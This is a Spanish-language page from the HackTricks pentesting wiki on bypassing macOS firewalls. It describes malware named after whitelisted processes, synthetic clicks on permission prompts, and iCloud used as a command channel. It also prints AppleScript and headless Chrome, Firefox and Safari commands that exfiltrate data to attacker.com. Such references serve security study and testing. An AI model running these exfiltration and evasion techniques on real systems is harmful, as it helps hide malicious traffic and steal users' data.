hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

4.5 KiB

Saltando Firewalls en macOS

{% hint style="success" %} Aprende y practica Hacking en AWS:Entrenamiento HackTricks AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: Entrenamiento HackTricks GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}

Técnicas Encontradas

Las siguientes técnicas se encontraron funcionando en algunas aplicaciones de firewall de macOS.

Abusando de nombres en la lista blanca

  • Por ejemplo, llamar al malware con nombres de procesos macOS conocidos como launchd

Click Sintético

  • Si el firewall solicita permiso al usuario, hacer que el malware haga clic en permitir

Usar binarios firmados por Apple

  • Como curl, pero también otros como whois

Dominios de Apple conocidos

El firewall podría estar permitiendo conexiones a dominios de Apple conocidos como apple.com o icloud.com. Y iCloud podría ser utilizado como un C2.

Bypass Genérico

Algunas ideas para intentar saltar firewalls

Verificar tráfico permitido

Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en la lista blanca o qué aplicaciones tienen permiso para acceder a ellos

lsof -i TCP -sTCP:ESTABLISHED

Abusando de DNS

Las resoluciones de DNS se realizan a través de la aplicación firmada mdnsreponder, la cual probablemente tenga permiso para contactar a los servidores DNS.

https://www.youtube.com/watch?v=UlT5KFTMn2k

A través de aplicaciones del navegador

  • oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • Google Chrome

{% code overflow="wrap" %}

"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"

{% endcode %}

  • Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
  • Safari
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

A través de inyecciones de procesos

Si puedes inyectar código en un proceso que tiene permiso para conectarse a cualquier servidor, podrías evadir las protecciones del firewall:

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Referencias

{% hint style="success" %} Aprende y practica el Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica el Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}